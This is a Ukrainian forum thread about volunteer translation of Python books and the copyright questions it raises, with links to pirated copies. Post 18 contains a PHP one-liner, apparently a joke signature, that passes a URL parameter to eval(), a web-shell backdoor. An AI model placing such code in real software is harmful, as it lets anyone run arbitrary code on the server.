1

Тема: Поринь в третій Пітончик

Трохи попіарюсь. Я перекладаю Dive into Python 3, третину вже здається зробив. От хотів спитати, може хто допоможе. Хоча б прочитанням і наїздами на термінологію, яка ще не вироблена. Тому що як завжди проблемою є перекласи list comprehension, dictionary comprehension,  чи multiline string.

Подякували: tiamo, Chemist-i, Djalin3

2

Re: Поринь в третій Пітончик

А чому пірнання, а не занурення?
Мені щось здається що вживати слово пірнати можна лише для випадків коли хтось занурюється у воду. Думаю це дуже важливо і треба переглянути у словниках. Ще є слово заглиблення :)

3

Re: Поринь в третій Пітончик

Знайшов в обговоренні. Перепрошую :)

4

Re: Поринь в третій Пітончик

Ну, так пірнати і поринати це напевне різні слова.

А щодо словників то так, правда, мені їх ще читати і читати. Хоча я якось пробував - досить нудні книжки. Мені більше подобаються книжки де слова мають відмінний від алфавітного порядок. :)

5

Re: Поринь в третій Пітончик

А.. там пориньте.
Мені щось здалось що пірнайте :)
Мабуть в цьому розділі зачепило:
http://uk.wikibooks.org/wiki/%D0%9F%D0% … 0%B7%D0%B8

6

Re: Поринь в третій Пітончик

Додав дуже цікавий розділ. Але я його без вашої допомоги не наповню. :)

Подякували: Replace, slabinoha2

7

Re: Поринь в третій Пітончик

Доброго дня!
Я новачок на вашому форумі, однак, пане bunyk, мене дуже зацікавило те, що ви робите. Якщо дозволите - внесу пропозицію на ваш розгляд.
Справа в тому, що восени я на сервісі edx.org пройшов курс Introduction to Computer Science and Programming від Массачусетського технологічного інституту. Самі концепції курсу мене мало цікавили, бо на той момент я вже закінчив магістратуру по спеціальності Компютерні системи і мережі, тому більшість матеріалу не було для мене новим. В цьому курсі я цілеспрямовано йшов з метою вивчити основи нової для мене мови програмування Python. Курс, власне, я закінчив взимку з непоганим результатом 96%. Однак простота викладки основних концепцій комп"ютерних наук, підхід до розв"язання задач з алгоритмічної точки зору, і при цьому пояснений буквально "на пальцях" просто закохали мене в цей курс.
Тепер, власне, пропозиція. Курс цей викладається по даному посібнику: http://rutracker.org/forum/viewtopic.php?t=4377229, автор якого, професор Джон Гаттаг, заодно є і лектором МІТ. Нмсд, це найкращий ентрі-левел для студентів компютерних спеціальностей. Охоплюється буквально все - від азів Пітона і ООП до вступу в теорію ймовірності, моделювання і теорію графів. Переклад цієї книжки міг би стати запросто настільним посібником для студента 1-го курсу компютерних спеціальностей будь-якого ВНЗ. Як-то кажуть, discuss.
P.S. Із задоволенням у вільний час буду займатися даним перекладом, маю досвід перекладу подібної літератури.

Подякували: Replace, Cyan, bunyk, tim4

8

Re: Поринь в третій Пітончик

Я за. Python дуже гарна мова як на мене, шкода у нас не дуже популярна. На PirateBay можна завантажити книгу без реєстрації. Якщо збереться чоловік 10, то можна перекласти всю книгу за кілька днів (по 25 сторінок).

А як там з ліцензією? У нас потім проблем не буде?

9

Re: Поринь в третій Пітончик

Replace написав:

А як там з ліцензією? У нас потім проблем не буде?

Ох, з цим напевно якраз проблема. Не знаю, як з перекладом, але сама книга не є вільно поширюваною. Цитую другу сторінку: "Жоден з розділів цієї книги не має відтворюватись в жодній із механічних та електронних форм (включаючи копіювання, запис та зберігання) без письмового дозволу видавця". Вважаєте, не варто цим займатися?

10

Re: Поринь в третій Пітончик

slabinoha написав:
Replace написав:

А як там з ліцензією? У нас потім проблем не буде?

Ох, з цим напевно якраз проблема. Не знаю, як з перекладом, але сама книга не є вільно поширюваною. Цитую другу сторінку: "Жоден з розділів цієї книги не має відтворюватись в жодній із механічних та електронних форм (включаючи копіювання, запис та зберігання) без письмового дозволу видавця". Вважаєте, не варто цим займатися?

Пропонуєте відписати видавцеві? :D

I belong to the Dead Generation.

11

Re: Поринь в третій Пітончик

Наприклад, на wikibooks таку книгу не можна буде розмістити... Це буде порушення прав і т.п. і т.д.
Видавцеві можна написати, що хочемо перекласти книгу на українську мову і що будемо розповcюджувати її безкоштовно. Хоча мало шансів...

12

Re: Поринь в третій Пітончик

Bartash написав:

Пропонуєте відписати видавцеві? :D

Думаю, якщо це зробити українською, то є ймовірність, що він як мінімум не зможе заперечити :)

Подякували: funivan1

13

Re: Поринь в третій Пітончик

Replace написав:

Наприклад, на wikibooks таку книгу не можна буде розмістити... Це буде порушення прав і т.п. і т.д.
Видавцеві можна написати, що хочемо перекласти книгу на українську мову і що будемо розповcюджувати її безкоштовно. Хоча мало шансів...

Зрозуміло. Тоді вибачте за хибну тривогу, як то кажуть. Буду тоді по фрагментах шукати аналоги, що поширюються за вільною ліцензією, і систематизувати. Тому що сама ідея "Пітон як перша серйозна мова програмування" є, думаю, доволі перспективною.

14

Re: Поринь в третій Пітончик

http://mitpress.mit.edu/ - офіційний сайт. Якщо чесно, то я в це не вірю, що нам дадуть дозвіл. =)

Щось схоже. Навіть назва така.

15

Re: Поринь в третій Пітончик

http://www.greenteapress.com/thinkpytho … ython.html ще оця. Алгоритми винесені в додатки, зате є окремий розділ по GUI. Крім того, є окрема книга по алгоритмах http://www.greenteapress.com/complexity … lexity.pdf та по статистиці: http://www.greenteapress.com/thinkstats/thinkstats.pdf. Оце комплект:)

16

Re: Поринь в третій Пітончик

Думаю, якщо це зробити українською, то є ймовірність, що він як мінімум не зможе заперечити smile

:D усміхнуло. Я хоч і не причетний до пітона але все таки вважаю що автору написати варто) ;)

Подякували: Bartash, Djalin2

17

Re: Поринь в третій Пітончик

А може своїми словами перекласти, і зробити суспільним надбанням. А що, гугл так робить, а нам не можна? =)

x
Подякували: Replace, slabinoha, Djalin3

18

Re: Поринь в третій Пітончик

ну я не проти.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Chemist-i1

19

Re: Поринь в третій Пітончик

Chemist-i написав:

А може своїми словами перекласти, і зробити суспільним надбанням. А що, гугл так робить, а нам не можна? =)

А що законодавство говорить про подібну практику? Якщо не помиляюсь, то проект ReactOS мав проблеми з тим, що їх код був здалека подібний на код Windows. Тепер вони навіть подібності бояться як вогню і просять розробників максимально віддаляти структуру коду від структури коду Windows. А про гугл - можна будь-ласка приклад, а то я про таке не чув=)

20

Re: Поринь в третій Пітончик

Між іншим: а на торент-трекерах подібні файли теж за домовленістю з автором лежать? Чи то радше "поки модера не ткнуть носом у копілефт"?

I belong to the Dead Generation.